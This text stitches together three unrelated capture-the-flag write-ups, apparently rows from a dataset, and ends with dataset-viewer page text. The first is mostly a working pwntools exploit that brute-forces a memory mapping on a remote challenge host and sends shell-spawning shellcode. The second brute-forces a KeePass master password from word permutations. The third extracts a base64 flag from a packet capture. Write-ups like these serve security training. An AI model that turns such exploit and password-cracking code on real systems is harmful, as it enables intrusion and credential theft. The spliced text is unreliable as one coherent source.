So, the plan was as follows:* Bruteforce the mmap until we gain a mmap at 0x6F3E4000* Write at 0x6F3E4F7F - 0x6F3E4000* Write our shellcode at 0x6F3E4000
Doing so will net you code execution and ability to get the flag:
```pythonfrom pwn import *
def choose_from_menu(choice): io.sendlineafter('beer\n\n', choice)
def beer(): choose_from_menu('b') io.recvuntil('@') address = io.recvline()[:-1] if address == "(nil)": return_address = 0 else: return_address = int(address,16) return return_address
io = remote('116.203.18.177',65432)l = log.progress('brutforcing mmap: ')while True: mmap = beer() l.status(hex(mmap)) if mmap == 0x6F3E4000: breakl.success('success!')info('mmap: {}'.format(hex(mmap)))
#Shellcodepayload = asm(shellcraft.amd64.sh(),arch='amd64')#Pad to 0x200payload += '\xaa' * (512 - len(payload))#call qword ptr ds:[eax-0x...]payload += '\x67\xFF'#Pad to 0xF7Fpayload += '\xaa' * (3967 - len(payload))#Read address for qword trampolinepayload += '\x00\x40\x3E\x6F\x00\x00\x00\x00'#Pad to 0x1000payload += '\xaa' * (4096 - len(payload))l = log.progress("Sending payload..")choose_from_menu('h')io.sendlineafter('gib:\n', payload)l.success("Sent payload.")io.interactive()```
```hxp{5uch_4_ch34p_c45h_3rrr_fl4g_gr4b}``` |
We assume that the master password to unlock Johnny's database is a permutation of the words `Johnny`, `37`, `Ripper`, `Cracker` and with `@` that might appear as a separator. We can test every possible combination on the `Confidential.kdbx` file:
```pythonimport itertoolsfrom pykeepass import PyKeePass
elements = ['John', '37', 'Ripper', 'Cracker']permutations = list(itertools.permutations(elements))
possibilities = []for p in permutations: possibilities.append(p[0] + p[1] + p[2] + p[3]) possibilities.append(p[0] + '@' + p[1] + p[2] + p[3]) possibilities.append(p[0] + p[1] + '@' + p[2] + p[3]) possibilities.append(p[0] + '@' + p[1] + '@' + p[2] + p[3]) possibilities.append(p[0] + p[1] + p[2] + '@' + p[3]) possibilities.append(p[0] + '@' + p[1] + p[2] + '@' + p[3]) possibilities.append(p[0] + p[1] + '@' + p[2] + '@' + p[3]) possibilities.append(p[0] + '@' + p[1] + '@' + p[2] + '@' + p[3])
for p in possibilities: try: kp = PyKeePass('Confidential.kdbx', password=p) print(p) break except: pass```
We get the password `John37@Cracker@Ripper` that we can use to open the database using KeePass. Here is the flag:

(yes I use Windows, please be forgiving)
Notice that the author (mistakenly?) omitted an underscore in the flag, which caused me a bit of hair-pulling. Anyway, here is the correct flag: `vulncon{Programming_Is_Necessary_For_Cyber_Right?}`. |
Open `Data.pcapng` in Wireshark. You see a few ARP requests at the beginning (not surprising) to resolve the MAC addresses, and then a lot of TCP segments. We are interested in the segments that have an actual payload, so we use the following filter: `tcp.flags.push==1`. We see that each of the resulting segments has only 1 byte of payload. We reassemble all the bytes, and we get `VGhlIGZsYWcgaXMtPiBCMXRfYnlfQjF0X3YxYV9uYwo=`. We base64 decode it, and we get `The flag is-> B1t_by_B1t_v1a_nc`.
Indeed, too easy. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.